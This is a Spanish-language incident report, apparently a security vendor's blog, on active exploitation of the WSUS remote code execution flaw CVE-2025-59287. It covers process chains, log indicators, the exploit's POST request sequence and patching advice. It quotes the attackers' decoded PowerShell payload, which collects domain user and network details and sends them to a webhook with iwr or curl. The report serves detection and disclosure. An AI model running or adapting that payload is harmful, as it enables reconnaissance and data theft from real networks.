Explotación de la vulnerabilidad de ejecución remota de código en Windows Server Update Services (CVE-2025-59287)

Agradecimientos: Un agradecimiento especial a Luke Wilkinson, Joshua Kiriakoff y Jordan Sexton por sus contribuciones a esta investigación y redacción.

Resumen rápido: Huntress ha observado a actores de amenazas explotando una vulnerabilidad de Windows Server Update Services (WSUS) de Microsoft en cuatro clientes; las organizaciones deben aplicar la actualización de Microsoft lo antes posible.

Resumen

El 23 de octubre, Microsoft lanzó una actualización fuera de banda para una falla de ejecución remota de código en Windows Server Update Services (WSUS); WSUS es un servicio centralizado de distribución de actualizaciones de Microsoft para administradores de TI.

A partir de aproximadamente el 23/10/2025 23:34 UTC, Huntress observó a actores de amenazas atacando instancias de WSUS expuestas públicamente en sus puertos predeterminados (8530/TCP y 8531/TCP) para explotar una vulnerabilidad de deserialización a través del AuthorizationCookie (CVE-2025-59287).

Comportamiento observado del atacante:

  • Los atacantes aprovecharon los endpoints de WSUS expuestos para enviar solicitudes especialmente diseñadas (múltiples llamadas POST a los servicios web de WSUS) que provocaron una ejecución remota de código por deserialización contra el servicio de actualización.
  • La actividad de explotación incluyó la ejecución de Símbolo del sistema y PowerShell a través del proceso worker de HTTP y el binario del servicio WSUS: (cadenas de procesos observadas)
    • wsusservice.exe →
              cmd.exe →
                  cmd.exe →
                     powershell.exe
    • w3wp.exe →
              cmd.exe →
                  cmd.exe →
                     powershell.exe
  • Se decodificó y ejecutó un payload codificado en base64 en PowerShell; el payload enumeró servidores en busca de información confidencial de red y de usuarios, y extrajo los resultados a un webhook remoto.
  • Los atacantes usaron redes proxy para llevar a cabo y ofuscar la explotación.

¿Qué es Windows Server Update Services?

Windows Server Update Services (WSUS) permite a los administradores de TI gestionar e implementar de forma centralizada las actualizaciones de productos de Microsoft. Ofrece un método controlado y totalmente gestionado para distribuir las actualizaciones publicadas a través de Microsoft Update.

En el entorno real, observamos que los servidores Windows con los puertos predeterminados de WSUS 8530/TCP (HTTP) y 8531/TCP (HTTPS) estaban siendo atacados por un actor de amenazas para ejecutar un ataque de deserialización contra el AuthorizationCookie conocido como CVE-2025-59287 (https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

El blog de Hawktrace ("CVE-2025-59287 — WSUS Unauthenticated Remote Code Execution" (https://hawktrace.com/blog/CVE-2025-59287-UNAUTH)) profundiza más en la prueba de concepto.

IOC y artefactos forenses

C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log

at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context,

at System.Runtime.Serialization.ObjectManager.DoFixups()

at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject

System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation.

ErrorWsusService.9HmtWebServices.CheckReportingWebServiceReporting WebService WebException:System.Net.WebException: Unable to connect to the remote server


C:\inetpub\logs\LogFiles\W3SVC*\u_ex*.log

POST /ReportingWebService/ReportingWebService.asmx (get_server_id)

POST /SimpleAuthWebService/SimpleAuth.asmx (get_auth_cookie)

POST /ClientWebService/Client.asmx (get_reporting_cookie)

POST /ReportingWebService/ReportingWebService.asmx (send_malicious_event)

POST /ApiRemoting30/WebService.asmx

POST /ReportingWebService/ReportingWebService.asmx - 8530 - <IPv4> Windows-Update-Agent - 200

Durante las intervenciones tácticas en respuesta a la explotación activa, Huntress notó el uso de redes proxy aprovechadas para llevar a cabo la explotación.

Tácticas del atacante

A partir de aproximadamente el 23/10/2025 23:34 UTC, se activaron alertas por actividad sospechosa. Se observó que cmd.exe y powershell.exe se ejecutaban a través de los procesos abuelos de w3wp.exe y wsusservice.exe, realizando enumeración en servidores Windows.

Figura 1: wsusservice.exe → cmd.exe → cmd.exe → powershell.exe

El script decodificó y ejecutó un payload en base64 que enumeró servidores expuestos en busca de datos confidenciales de red y de usuarios. Posteriormente, la información se envió a una URL de webhook remota.

El payload de PowerShell (con el base64 decodificado) es el siguiente:

powershell -ec
try{$r= (&{echo https://[REDACTED]:8531; net user /domain; ipconfig /all} |out-string)+ $Error }catch{$_.ToString()} ;$w="http://webhook.site/[REDACTED]";try{iwr -UseBasicParsing -Uri $w -Body $r -Method Put}catch{curl.exe -k $w --data-binary $r}

Figura 2: w3wp.exe → cmd.exe → cmd.exe → powershell.exe

La vista de la información extraída en el sitio del webhook:

Figura 3: El sitio del webhook con la salida del comando exfiltrado

Ejemplo de curl.exe exfiltrando la salida de ipconfig /all al sitio del webhook.

Figura 4: Ejemplo de curl.exe exfiltrando la salida de ipconfig /all al sitio del webhook.

Esperamos que la explotación de CVE-2025-59287 sea limitada; WSUS no suele exponer los puertos 8530 y 8531. En nuestra base de socios, hemos observado aproximadamente 25 endpoints susceptibles.

Comandos de enumeración observados:

  • whoami;net user /domain
  • net user /domain; ipconfig /all

Remediaciones

  • Aplicar el parche a WSUS

    Microsoft ha publicado una guía actualizada para abordar la vulnerabilidad CVE-2025-59287. Asegúrate de aplicar la actualización de seguridad correspondiente a tu versión de Windows Server. (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
  • Aislar el acceso de red a WSUS

    Asegúrate de que solo los endpoints de administración y los servidores de Microsoft Update que sean explícitamente necesarios tengan acceso a tu infraestructura de WSUS. Para todas las demás conexiones, se recomienda encarecidamente bloquear el tráfico entrante a los puertos TCP 8530 y 8531. 

Reglas de Sigma

Loading Gist...

Indicadores de compromiso

Elemento 

Descripción

C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log

Archivo de registro de WSUS para revisar indicadores de compromiso

C:\inetpub\logs\LogFiles\W3SVC*\u_ex*.log

Archivos de registro del servicio HTTP para revisar indicadores de compromiso

w3wp.exe

Binario del proceso de trabajo HTTP

wsusservice.exe

Binario del proceso del servicio WSUS

whoami;net user /domain

Comando de enumeración observado

net user /domain; ipconfig /all

Comando de enumeración observado

También te podría interesar